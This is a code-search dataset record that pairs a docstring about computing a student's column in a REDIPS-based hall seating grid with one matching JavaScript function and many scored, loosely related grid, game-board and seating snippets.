Wraps and hides REDIPS, providing high level funcionality for SPG Consider this 6 cols X 5 rows Hall 6 5 4 3 2 1 A B C D E F where A, B, C, D, E are columns and 1, 2, 3, 4 are rows Returns the column number (starting from 0) of a given student, based on his/her 'hall_position' property ie: "D1", "B6", "C13", "A1", etc would return> 3, 1, 2, 0, etc
[ { "docid": "8f41c1b29d3fa9ff21706c015c67fd86", "score": "0.59052634", "text": "function redips_column(std){\n\tvar nrows = std.hall.nrows;\n\treturn nrows - 1 - (std.hall_position.charCodeAt(0) - 65); // 'A' is 65, 'B' is 66, .. Vertical offset -1\n}", "title": "" } ]
[ { "docid": "6005596685515a43fc7eebfa8b5e8b0a", "score": "0.6317071", "text": "function redips_row(std){\n\treturn std.hall_position.substring(1) - 1;//Horizontal offset -1\n}", "title": "" }, { "docid": "4ad6fe880a56ec6a59cd1a6ff451d470", "score": "0.53938913", "text": "generateScan() {\n //let scan = [];\n const rows = [this.shipLocation.qy - 1, this.shipLocation.qy, this.shipLocation.qy + 1];\n const cols = [this.shipLocation.qx - 1, this.shipLocation.qx, this.shipLocation.qx + 1];\n let scan = rows.map( (row) => {\n let result = cols.map( (col) => {\n if( row >= 1 && row <= 8 && col >= 1 && col <= 8 ) {\n const numEnemies = this.findNearby( row, col );\n if( row === this.shipLocation.qy && col === this.shipLocation.qx ) {\n return <div className=\"col warp-cell player-cell\">{numEnemies}</div>\n }\n else {\n return <div className=\"col warp-cell\">{numEnemies}</div>\n }\n }\n else {\n return <div className=\"col warp-cell cannot-warp\">-</div>\n }\n });\n return <div className=\"row\">{result}</div>;\n });\n return scan;\n }", "title": "" }, { "docid": "6cd1bb45f2e828fccc5b128ba79b2fce", "score": "0.5384949", "text": "function findPlacementRow (leftmostCol, piece, board) {\n let r = 0\n\n for (r; r <= 20 - piece.length; r++) {\n if (!doesPieceFit([r, leftmostCol], piece, board)) break\n }\n\n return r - 1\n}", "title": "" }, { "docid": "e01d8c1f62a36e69503914e189ff51ac", "score": "0.53514254", "text": "function snakePosition() {\n\tfor (var i = 0; i < rry.length; i++) {\n\t\tfor (var j = 0; j < rry[i].length; j++) {\n\t\t\tif (rry[i][j] === 1) {\n\t\t\t\t\n\t\t\t\tvar position = {\n\t\t\t\t\trow: rry[i],\n\t\t\t\t\tindex: j\n\t\t\t\t};\n\t\t\t\treturn position;\n\t\t\t}\n\t\t};\n\t};\n}", "title": "" }, { "docid": "c291fbff7121ada72707bad77db35ead", "score": "0.5241964", "text": "function determineSection (col, row){\n var rowSec = Math.floor(row / 3);\n var colSec = Math.floor(col / 3);\n return \"\" + colSec + rowSec;\n}", "title": "" }, { "docid": "8f88433992603c40ca50d03763c4489e", "score": "0.503822", "text": "function whatever(position,roll){\n \tvar goToPosition = -1;\n \tvar counter\t\t = 0;\n \tvar rows\t\t = board.length;\n \tvar cols\t\t = board[0].length;\n \tvar current_row\t = 1;\n \tvar current_pos\t = 1;\n \t\n \tfor (var i = rows - 1; i >= 0; i--) {\n \t\t// Look for the position in the LEFT-TO-RIGHT order\n \t\tif (i % 2 != 0) {\n \t\t\twhile (counter < cols) {\n \t\t\t\tcurrent_pos ++;\n \t\t\t\tcounter ++;\n \t\t\t\t// Position found\n \t\t\t\tif (current_pos == position) {\n \t\t\t\t\t// Walk as many slots as needed to find the next position\n \t\t\t\t\twhile (current_pos != position + roll) {\n \t\t\t\t\t\t// If the row number is odd\n \t\t\t\t\t\tif (current_row % 2 != 0) {\n \t\t\t\t\t\t\tcounter ++; // Go to the next slot in the board\n \t\t\t\t\t\t\tcurrent_pos ++;\n \t\t\t\t\t\t\twhile (counter <= cols) {\n \t\t\t\t\t\t\t\tif (current_pos == position + roll) { // Found the next position\n \t\t\t\t\t\t\t\t\treturn board[rows - current_row][counter - 1];\n \t\t\t\t\t\t\t\t}\n \t\t\t\t\t\t\t\tcounter ++;\n \t\t\t\t\t\t\t\tcurrent_pos ++;\n \t\t\t\t\t\t\t}\n \t\t\t\t\t\t\tcounter = 0;\n \t\t\t\t\t\t\t// If the position wasn't found, go to the next line\n \t\t\t\t\t\t\tcurrent_row ++;\n \t\t\t\t\t\t}\n \t\t\t\t\t\t// If the row number is even\n \t\t\t\t\t\telse {\n \t\t\t\t\t\t\treturn 777;\n \t\t\t\t\t\t}\n \t\t\t\t\t}\n \t\t\t\t\t// IMPORTANTE return board[i][counter]; // Position found\n \t\t\t\t}\n \t\t\t\t\n \t\t\t}\n \t\t}\n \t\t// Look for the position in the RIGHT-TO-LEFT order\n \t\telse {\n \t\t\tcounter = cols - 1;\n \t\t\twhile (counter >= 0) {\n \t\t\t\tcurrent_pos++;\n \t\t\t\tif (current_pos == position) {\n \t\t\t\t\treturn board[i][counter]; // Position found\n \t\t\t\t}\n \t\t\t\tcounter--;\n \t\t\t}\n \t\t}\n \t\tcounter = 0;\n \t\tcurrent_row++;\n \t}\n }", "title": "" }, { "docid": "6bc91c44c5a723cf405e227c17dc0d35", "score": "0.50248146", "text": "function row_25() {\n // We want the lowest of these three possible scores\n var score;\n if (rowFlaggedTrue(30)) {\n // Do they share only synopses of Clinical Study Reports?\n score = 50;\n } else if (rowFlaggedTrue(26)) {\n // Is this commitment on request only, after a long review process, similar to that for IPD?\n score = 200;\n } else if (rowFlaggedTrue(25)) {\n // Do they commit to share all Clinical Study Reports publicly?\n score = 250;\n } else {\n score = 0;\n }\n // Discounts\n discount = 0;\n if (!rowFlaggedTrue(28)) {\n // Include unlicensed treatments\n discount += 0.25 * score;\n }\n if (!rowFlaggedTrue(29)) {\n // Include off-label uses\n discount += 0.25 * score;\n }\n score -= discount;\n return score;\n}", "title": "" }, { "docid": "ba371465431e35cc5f7bb0dfd4235ffe", "score": "0.50095266", "text": "function seatsInTheater(nCols, nRows, col, row) {\n\n }", "title": "" }, { "docid": "23db0bafe2f900deb1abca109c0a213b", "score": "0.5007097", "text": "botColPositions(callback){\n var colSpan = arguments[0]\n var rowIdx = arguments[1] + 1//get offset so not looking at hall\n var board = arguments[2]\n //get top and bottom\n var l = colSpan[0]\n var r = colSpan[1]\n //create copies to check reduction bounds\n var originalL = l\n //counter for a quit if the room cannot be created with the max amount of tries\n var counter = 0\n\n var span = Math.abs(l-r)\n //reduce by more than a half because of offsets\n l = l - Math.floor((span/3))\n r = r - Math.floor(span/3)\n //update the span\n span = Math.abs(l - r)\n var m = l + Math.floor(span/2)\n try{\n if(board[rowIdx][m].filled == true){\n return null\n }\n else if(board[rowIdx][l].filled == false && board[rowIdx][r].filled == false &&\n board[rowIdx-1][l].type != 'H' && board[rowIdx-1][r].filled != 'H'){//checks the bounds to make sure hall is not in the empty spaces\n // console.log('returning original')\n return [l,r]\n }\n else{\n while(((board[l][rowIdx].filled == true || board[r][rowIdx].filled == true) &&\n (board[rowIdx-1][l].type !== 'H' && board[rowIdx-1][r].type !== 'H')) && \n counter < 3 && span > 4){\n // console.log('reducing')\n //top is occupied, reduce by a quarter of current span, usually just 1 because rooms are small right now\n if(board[rowIdx][l].filled == true){\n l = l + 1\n }\n //bot is occupied, reduce by a quarter of current span, usually just 1 because rooms are small right now\n if(board[rowIdx][r].filled == true){\n r = r - 1\n }\n //return the updated positions if the positions are not filled\n if(board[rowIdx][l].filled == false && board[rowIdx][r].filled == false && originalL >= l && l < r && span > 4 &&\n board[rowIdx-1][l].type != 'H' && board[rowIdx-1][r].filled != 'H'){\n return [l,r]\n }\n //update the span\n span = Math.abs(l-r)\n //update counter\n counter += 1\n }\n }\n\n }\n catch(e){\n console.log('Stopped creating rows')\n return null\n }\n return null\n }", "title": "" }, { "docid": "9d97c5780cdb43140875b5bd91e14dd8", "score": "0.49855804", "text": "leftColPositions(callback){\n var colSpan = arguments[0]\n var rowIdx = arguments[1]\n var board = arguments[2]\n var l = colSpan[0]//l would be what would change\n var r = colSpan[1]//r would be the starting position\n var counter = 0\n var span = Math.abs(l-r)\n var m = l + Math.floor(span/2)\n\n try{\n if(board[rowIdx][m].filled == true){\n return null\n }\n else if(board[rowIdx][r-2].type == 'H'){\n return null\n }\n else if(board[rowIdx][l].filled == false){\n return [l,r]\n }\n else{\n while(board[rowIdx][l].filled == true && counter < 3 && span > 3){\n //reduce l by a quarter of current span each time\n l = l + Math.floor(span/4)\n if(board[rowIdx][l].filled == false && span > 3){\n return [l,r]\n }\n span = Math.abs(l-r)\n counter += 1\n }\n }\n }\n catch(e){\n console.log('column position is null with',l,r)\n }\n return null\n }", "title": "" }, { "docid": "4459794e6b48fdfcd81604fed5ce9d5b", "score": "0.49803302", "text": "function FlexTable_stacks_in_5397_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5397_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "704504bc2279cd231c2b6f72631df962", "score": "0.49680573", "text": "function seatsInTheater(nCols, nRows, col, row) {\n return (nCols - col + 1) * (nRows - row);\n}", "title": "" }, { "docid": "9c1cb1ecec9dbe59c493b55c2726bade", "score": "0.4961957", "text": "function letterI (total_rows, total_columns){\n\n var fill_cells = [];\n\n fill_columns = Math.abs( total_columns * .1 );fill_columns = round_to_even(fill_columns);\n\n middle_column = total_columns / 2;\n fill_columns_from_middle = fill_columns / 2;\n\n\n // Get the columns to the left of middle\n for (var i = fill_columns_from_middle; i > 0; i--) {\n\n // Add the column for the entire row\n for (var r = total_rows; r > 0; r--) {\n cell = 'row' + r + ' column' + (middle_column + 1 - i);\n fill_cells.push(cell);\n };\n\n };\n\n // Get the columns to the right of middle\n for (var i = fill_columns_from_middle; i > 0; i--) {\n\n // Add the column for the entire row\n for (var r = total_rows; r > 0; r--) {\n cell = 'row' + r + ' column' + (middle_column+ i);\n fill_cells.push(cell);\n };\n\n };\n\n return fill_cells;\n}", "title": "" }, { "docid": "70b18a1a226d6c5231f10f9115860ec5", "score": "0.49552515", "text": "function FlexTable_stacks_in_5096_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5096_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "5b4aa865da08fb311ca3513f82cd2ea0", "score": "0.49532363", "text": "function _get_column(i) { return i % 9; }", "title": "" }, { "docid": "83678af912593c990619841ab4fd43f3", "score": "0.49438006", "text": "inspect() {\n for (let i = 5; i >= 3; i--) {\n if (this.column[0].getTokenAt(i) !== null) {\n if ((this.column[0].getTokenAt(i) === this.column[1].getTokenAt(i - 1)) && (this.column[0].getTokenAt(i) === this.column[2].getTokenAt(i - 2)) && (this.column[0].getTokenAt(i) === this.column[3].getTokenAt(i - 3))) {\n return this.column[0].getTokenAt(i);\n }\n }\n }\n\n for (let i = 2; i >= 0; i--) {\n if (this.column[0].getTokenAt(i) !== null) {\n if ((this.column[0].getTokenAt(i) === this.column[1].getTokenAt(i + 1)) && (this.column[0].getTokenAt(i) === this.column[2].getTokenAt(i + 2)) && (this.column[0].getTokenAt(i) === this.column[3].getTokenAt(i + 3))) {\n return this.column[0].getTokenAt(i);\n }\n }\n }\n return 0;\n }", "title": "" }, { "docid": "cf7926e519afbb6d42db0f42755e2b55", "score": "0.49077058", "text": "findPerimeter(input){\n\t\tvar height = input.length;\n\t\tvar width = input[0].length;\n\n\t\t//Print the board\n\t\t\t\t//Print the neighbors count array\n\t\t\t\tfor(var heightIndex = 0; heightIndex < height; heightIndex++){\n\t\t\t\t\tvar rowString = \" \";\n\t\t\t\t\tfor(var widthIndex=0; widthIndex < width; widthIndex++){\n\t\t\t\t\t\trowString += input[heightIndex][widthIndex] + \" \";\n\t\t\t\t\t}\n\t\t\t\t\tconsole.log(rowString);\n\t\t\t\t}\n\n\t\t\t\tconsole.log();\n\n\n\t\t//Initialize an array that will be the sum of the number of land boxes around it.\n\t\tvar numNeighbors = new Array(height+2).fill(0).map(() => new Array(width+2).fill(0));\n\t\tvar foundLocations = new Array();\n\t\t\n\n\t\tfor(var heightIndex = 0; heightIndex < height; heightIndex++){\n\t\t\tvar numNeighborsHeightIndex =heightIndex+1;\n\t\t\tfor(var widthIndex=0; widthIndex < width; widthIndex++){\n\t\t\t\tvar numNeighborsWidthIndex = widthIndex + 1; //We need to use this math so that we don't go out of bounds\n\n\t\t\t\t//If I'm a 1 or greater, add 1 to the 4 boxes around me\n\t\t\t\tif(input[heightIndex][widthIndex] === 1){\n\t\t\t\t\t//First mark this location as a found location\n\t\t\t\t\tfoundLocations.push([heightIndex, widthIndex]);\n\n\t\t\t\t\tnumNeighbors[numNeighborsHeightIndex+1][numNeighborsWidthIndex] = numNeighbors[numNeighborsHeightIndex+1][numNeighborsWidthIndex] + 1;\n\t\t\t\t\tnumNeighbors[numNeighborsHeightIndex-1][numNeighborsWidthIndex] = numNeighbors[numNeighborsHeightIndex-1][numNeighborsWidthIndex] + 1;\n\t\t\t\t\tnumNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex+1] = numNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex+1] + 1;\n\t\t\t\t\tnumNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex-1] = numNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex-1] + 1;\n\t\t\t\t}\n\n\t\t\t\t//console.log(heightIndex + \",\"+ widthIndex + \" = \" + input[heightIndex][widthIndex] + \" \");\n\t\t\t}\n\t\t\t//console.log(\"\");\n\t\t}\n\n\t\t//Print the neighbors count array\n\t\tfor(var numNeighborsHeightIndex = 0; numNeighborsHeightIndex < height+2; numNeighborsHeightIndex++){\n\t\t\tvar rowString = \"\";\n\t\t\tfor(var numNeighborsWidthIndex=0; numNeighborsWidthIndex < width+2; numNeighborsWidthIndex++){\n\t\t\t\trowString += numNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex] + \" \";\n\t\t\t}\n\t\t\tconsole.log(rowString);\n\t\t}\n\n\t\tif(foundLocations.length ===1){\n\t\t\tconsole.log(\"Perimeter = 4\");\n\t\t}else{\n\n\t\t\tvar perimeter = 0;\n\n\t\t\tfoundLocations.forEach(function(location){\n\t\t\t\tlet x = location[0];\n\t\t\t\tlet y= location[1];\n\t\t\t\tlet value = numNeighbors[x+1][y+1];\n\t\t\t\tswitch(value){\n\t\t\t\t\tcase 1:\n\t\t\t\t\t\tperimeter += 3;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 2:\n\t\t\t\t\t\tperimeter += 2;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tcase 3: \n\t\t\t\t\t\tperimeter += 1;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t});\n\t\n\t\n\t\n\t\n\t\t\t//Now run through the array and add up the number of neighbors and apply the math.\n\t\t\t// var perimeter = 0;\n\t\t\t// for(var numNeighborsHeightIndex = 1; numNeighborsHeightIndex < height+1; numNeighborsHeightIndex++){\n\t\t\t// \tfor(var numNeighborsWidthIndex=1; numNeighborsWidthIndex < width+1; numNeighborsWidthIndex++){\n\t\t\t// \t\tswitch(numNeighbors[numNeighborsHeightIndex][numNeighborsWidthIndex]){\n\t\t\t// \t\t\tcase 1:\n\t\t\t// \t\t\tif(input[numNeighborsHeightIndex-1][numNeighborsWidthIndex-1] === 1){\n\t\t\t// \t\t\t\tperimeter += 3;\n\t\t\t// \t\t\t}\n\t\t\t// \t\t\tbreak;\n\t\t\t// \t\t\tcase 2:\n\t\n\t\t\t// \t\t\tif(input[numNeighborsHeightIndex-1][numNeighborsWidthIndex-1] === 1){\n\t\t\t// \t\t\t\tperimeter += 2;\n\t\t\t// \t\t\t}\n\t\t\t// \t\t\tbreak;\n\t\t\t// \t\t\tcase 3: \n\t\n\t\t\t// \t\t\tif(input[numNeighborsHeightIndex-1][numNeighborsWidthIndex-1] === 1){\n\t\t\t// \t\t\t\tperimeter += 1;\n\t\t\t// \t\t\t}\n\t\t\t// \t\t\tdefault:\n\t\t\t// \t\t\tbreak;\n\t\t\t// \t\t}\n\t\t\t// \t}\n\t\t\t// }\n\t\n\t\t\tconsole.log(\"Perimeter is: \" + perimeter);\n\t\t}\n\t}", "title": "" }, { "docid": "70e830f2b3f2796b0219116fe5c95df9", "score": "0.4901386", "text": "function calculateRow(id) {\n num = rowNumber(id);\n if (num % 6 === 0){\n rid = \"r\" + (Math.floor(num/6)).toString();\n rno = Math.floor(num/6);\n }else{\n rid = \"r\" + (Math.floor(num/6) + 1).toString();\n rno = Math.floor(num/6 + 1);\n }\n}", "title": "" }, { "docid": "b2473cd85cf6638a3cd55d09ae63c4f7", "score": "0.48979893", "text": "function squareIdentifier(row, north_1m) {\n if (north_1m < BLOCK_SIZE) {\n return row\n } else {\n return squareIdentifier(inc(row), north_1m - BLOCK_SIZE)\n }\n}", "title": "" }, { "docid": "cc7e5a121b5d1e981460d12b21c035ac", "score": "0.48943007", "text": "function getSeatRow(partition) {\n const code = partition.slice(0, -3)\n let row_upper = 127,\n row_lower = 0\n\n for (const char of code.split('')) {\n let half_range = (row_upper - row_lower + 1) / 2\n if (char === 'F') row_upper -= half_range\n else if (char === 'B') row_lower += half_range\n }\n\n return row_lower\n}", "title": "" }, { "docid": "ba158fbb3e876d51ffa9efb16e06c154", "score": "0.48912692", "text": "function getCol(position) {\n return (position + 2) % 3;\n}", "title": "" }, { "docid": "3e5f4acca28fca1188b2f88eb7ed5323", "score": "0.48909378", "text": "function FlexTable_stacks_in_5134_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5134_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "4410201a98bba7583666671463ac7370", "score": "0.4887783", "text": "function FlexTable_stacks_in_5650_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5650_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "e245e6f6ee7b96f44379de73d71d7c47", "score": "0.48864025", "text": "function FlexTable_stacks_in_4912_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_4912_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "e08168daa6ad9dac0c4ae5f24b186a53", "score": "0.48853576", "text": "function FlexTable_stacks_in_1796_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_1796_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "de9cc8c7d4b8b8d481cfb1c2b4c7bce3", "score": "0.48800614", "text": "function D(a){var b=G.getColCnt(),c=S?-1:1,d=S?b-1:0,e=Math.floor(a/b),f=(a%b+b)%b*c+d;// column, adjusted for RTL (dis & dit)\nreturn{row:e,col:f}}", "title": "" }, { "docid": "6b76abe64d8f22f3f2d211df3fd341ac", "score": "0.48792672", "text": "function FlexTable_stacks_in_4904_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_4904_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "a240566076c4cb00858d3e52d052af00", "score": "0.48762694", "text": "function luckysheetDrawgridRowTitle(scrollHeight) {\n let drawHeight = Store.luckysheetTableContentHW[1];\n let offsetTop = Store.columnHeaderHeight;\n\n let dataset_row_st, dataset_row_ed;\n dataset_row_st = luckysheet_searcharray(Store.visibledatarow, scrollHeight);\n dataset_row_ed = luckysheet_searcharray(\n Store.visibledatarow,\n scrollHeight + drawHeight\n );\n if (dataset_row_st == -1) {\n dataset_row_st = 0;\n }\n if (dataset_row_ed == -1) {\n dataset_row_ed = Store.visibledatarow.length - 1;\n }\n // Whole rectangle on the left row Bar\n let luckysheetTableContent = initWholeRectBar(\n 0,\n offsetTop,\n Store.rowHeaderWidth - 1,\n drawHeight\n );\n\n let end_r, start_r;\n // Draw rectangle& text in each row\n for (let r = dataset_row_st; r <= dataset_row_ed; r++) {\n if (r == 0) {\n start_r = -scrollHeight - 1;\n } else {\n start_r = Store.visibledatarow[r - 1] - scrollHeight - 1;\n }\n end_r = Store.visibledatarow[r] - scrollHeight;\n\n let firstOffset = dataset_row_st == r ? 0 : 0;\n let lastOffset = dataset_row_ed == r ? 0 : 0;\n\n let textWidth =\n luckysheetTableContent.measureText(r + 1).width * Store.zoomRatio;\n fillABC123(\n r + 1,\n {\n rectX: 0,\n rectY: start_r + offsetTop + firstOffset,\n rectW: Store.rowHeaderWidth - 1,\n rectH: end_r - start_r + 1 + lastOffset - firstOffset,\n },\n {\n // horizonAlignPos:(Store.rowHeaderWidth - textMetrics.width) / 2,\n horizonAlignPos: (Store.rowHeaderWidth - textWidth) / 2,\n verticalAlignPos: start_r + (end_r - start_r) / 2 + offsetTop,\n },\n luckysheetTableContent\n );\n //vertical Lines\n drawOneLine(\n luckysheetTableContent,\n Store.rowHeaderWidth - 2,\n start_r + offsetTop - 2,\n Store.rowHeaderWidth - 2,\n end_r + offsetTop - 2\n );\n // horizon Lines\n drawOneLine(\n luckysheetTableContent,\n -1,\n end_r + offsetTop - 2,\n Store.rowHeaderWidth - 1,\n end_r + offsetTop - 2\n );\n }\n}", "title": "" }, { "docid": "322f0642b21f1768d3ba203252287766", "score": "0.4865101", "text": "function FlexTable_stacks_in_2293_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2293_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "2f3b946be7bdd440fbca096adb91b867", "score": "0.48639822", "text": "topColPositions(callback){\n var colSpan = arguments[0]\n var rowIdx = arguments[1] - 1//get offset so not looking at hall\n var board = arguments[2]\n //get top and bottom\n var l = colSpan[0]\n var r = colSpan[1]\n //create copies to check reduction bounds\n var originalL = l\n //counter for a quit if the room cannot be created with the max amount of tries\n var counter = 0\n\n var span = Math.abs(l-r)\n //reduce by more than a half because of offsets\n l = l - Math.floor((span/3))\n r = r - Math.floor(span/3)\n //update the span\n span = Math.abs(l - r)\n try{\n if(board[rowIdx + 1][l].type == 'H' || board[rowIdx + 1][r].type == 'H'){\n return null\n }\n else if(board[rowIdx][l].filled == false && board[rowIdx][r].filled == false &&\n board[rowIdx+1][l].type != 'H' && board[rowIdx+1][r].filled != 'H'){//checks the bounds to make sure hall is not in the empty spaces\n // console.log('returning original')\n return [l,r]\n }\n else{\n while(((board[l][rowIdx].filled == true || board[r][rowIdx].filled == true) ||\n (board[rowIdx+1][l].type !== 'H' || board[rowIdx+1][r].type !== 'H')) && \n counter < 3 && span > 3){\n // console.log('reducing')\n //top is occupied, reduce by a quarter of current span, usually just 1 because rooms are small right now\n if(board[rowIdx][l].filled == true){\n l = l + 1\n }\n //bot is occupied, reduce by a quarter of current span, usually just 1 because rooms are small right now\n if(board[rowIdx][r].filled == true){\n r = r - 1\n }\n //return the updated positions if the positions are not filled\n if(board[rowIdx][l].filled == false && board[rowIdx][r].filled == false && originalL >= l && l < r && span > 3 &&\n board[rowIdx+1][l].type != 'H' && board[rowIdx+1][r].filled != 'H'){\n return [l,r]\n }\n //update the span\n span = Math.abs(l-r)\n //update counter\n counter += 1\n }\n }\n\n }\n catch(e){\n console.log('row position is null with top:${t} and bottom: ${b}')\n return null\n }\n return null\n }", "title": "" }, { "docid": "46ea436c2a88d4bebdeb9f150b9f3018", "score": "0.48633778", "text": "function winnerHorizontal(grid, row, lig) {\n if ((grid[row][lig] === grid[row + 1][lig]) && (grid[row][lig] === grid[row + 2][lig]) && (grid[row][lig] === grid[row + 3][lig])) {\n return grid[row][lig];\n } else {\n return NOBODY;\n }\n}", "title": "" }, { "docid": "e24c862bd9c452aa21eda438812aa687", "score": "0.48594958", "text": "function winnerVertical(grid, row, lig) {\n if ((grid[row][lig] === grid[row][lig + 1]) && (grid[row][lig] === grid[row][lig + 2]) && (grid[row][lig] === grid[row][lig + 3])) {\n return grid[row][lig];\n } else {\n return NOBODY;\n }\n}", "title": "" }, { "docid": "40041388d6a98df861b82075fc60847a", "score": "0.4857727", "text": "function seatsInTheater(nCols, nRows, col, row) {\r\n let x = nCols - col;\r\n let y = nRows - row;\r\n return x*y+y;\r\n}", "title": "" }, { "docid": "d435c7bda435a04f9267c8b7f9183753", "score": "0.4854599", "text": "function drawLargerSnakeHeads(opponents, myBody, myName, height, width, board) {\n for (const snake of opponents) {\n if (snake.body.length >= myBody.length + 1 && snake.name != myName) {\n if (snake.body[0].y + 1 < height) {\n board[snake.body[0].y + 1][snake.body[0].x] = 1;\n }\n if (snake.body[0].y - 1 >= 0) {\n board[snake.body[0].y - 1][snake.body[0].x] = 1;\n }\n if (snake.body[0].x + 1 < width) {\n board[snake.body[0].y][snake.body[0].x + 1] = 1;\n }\n if (snake.body[0].x - 1 >= 0) {\n board[snake.body[0].y][snake.body[0].x - 1] = 1;\n }\n }\n }\n }", "title": "" }, { "docid": "3099fe51852ecaffee21f6d07dd7d428", "score": "0.48544765", "text": "function safetyReport(){ \n let letters = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\".split(\"\");\n let rowsCount = countRows();\n let colsCount = countColumns();\n let gridSafety = [];\n for (i = 0; i < rowsCount; i++) {\n let gridRow = [];\n for (j = 0; j < colsCount; j++) {\n var coordinate = letters[j]+(i+1); \t\n gridRow.push(howDangerous(coordinate));\n }\n gridSafety.push(gridRow);\n } \n return gridSafety;\n}", "title": "" }, { "docid": "5c57266fb9ce8b2a8c854a5e73936cf0", "score": "0.48530796", "text": "check(x, y, board = this.map) {\n let color = board[y][x];\n if (color === \"⚪\") return 1;\n //horizontal\n if (\n this.search(x, y, color, 1, 0, 0) +\n this.search(x, y, color, -1, 0, 0) - 1 >= 4\n ) {\n return 2;\n }\n //lt-rb diagonal\n if (\n this.search(x, y, color, 1, 1, 0) +\n this.search(x, y, color, -1, -1, 0) - 1 >= 4\n ) {\n return 2;\n }\n //lt-rb diagonal\n if (\n this.search(x, y, color, -1, 1, 0) +\n this.search(x, y, color, 1, -1, 0) - 1 >= 4\n ) {\n return 2;\n }\n //vertical\n if (\n this.search(x, y, color, 0, 1, 0) +\n this.search(x, y, color, 0, -1, 0) - 1 >= 4\n ) {\n return 2;\n }\n\n // check how many pieces in a column\n let countstack = 0;\n for (let i = 0; i < 7; i++) {\n if (this.stack[i] === -1) {\n countstack++;\n }\n }\n\n // a column is full\n if (countstack === 7) return 3;\n\n return 1;\n }", "title": "" }, { "docid": "9080ae74b47cd5971b451a11d8f56cac", "score": "0.48511383", "text": "function FlexTable_stacks_in_2565_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_2565_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "20ba9ad04f339c7a1ea901e3c6a8f183", "score": "0.48430058", "text": "function FlexTable_stacks_in_5094_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_5094_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "5fb3f3b3262cdcae1a41aa5dda12f9bf", "score": "0.48372525", "text": "function FlexTable_stacks_in_3574_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_3574_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "b4f69a438a423bd20b194f1f8984fa26", "score": "0.4835702", "text": "function FlexTable_stacks_in_4914_page24_RPP() {\n\tvar mobile = FlexTable_stacks_in_4914_page24_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "c868d07cc988e7fffb2d7aafba6b42f5", "score": "0.48338655", "text": "function whichBox(whereRowY, whereColX) {\n let rowAdj, colAdj, boxRow, boxCol, box;\n\n // adjusting values to start at 1 not 0 do that the '(rowAdj % size) != 0' work properly\n rowAdj = (whereRowY).valueOf() + 1;\n colAdj = whereColX + 1;\n\n console.log(colAdj)\n\n // box row Y\n if ((rowAdj % size) != 0) {\n rowAdj += (rowAdj % size);\n }\n boxRow = rowAdj - size;\n\n // box column X\n if ((colAdj % size) != 0) {\n colAdj += (colAdj % size);\n }\n boxCol = colAdj / size;\n\n\n\n //which box\n box = boxRow + boxCol;\n\n return box;\n}", "title": "" }, { "docid": "ba261fc4aeb0234463c54b29c7aef3aa", "score": "0.48313457", "text": "function FlexTable_stacks_in_4027_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4027_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "8630251374bee0176109b98148a8f48d", "score": "0.48300496", "text": "function FlexTable_stacks_in_4928_page20_RPP() {\n\tvar mobile = FlexTable_stacks_in_4928_page20_isMobile();\n\tif (mobile) {\n\t\tif (\"hscroll\" == \"record\") { return(1); }\n\t\treturn(4);\n\t\t}\n\treturn(10);\n\t}", "title": "" }, { "docid": "79da285b37a27b3d514762a79d5e7566", "score": "0.48250583", 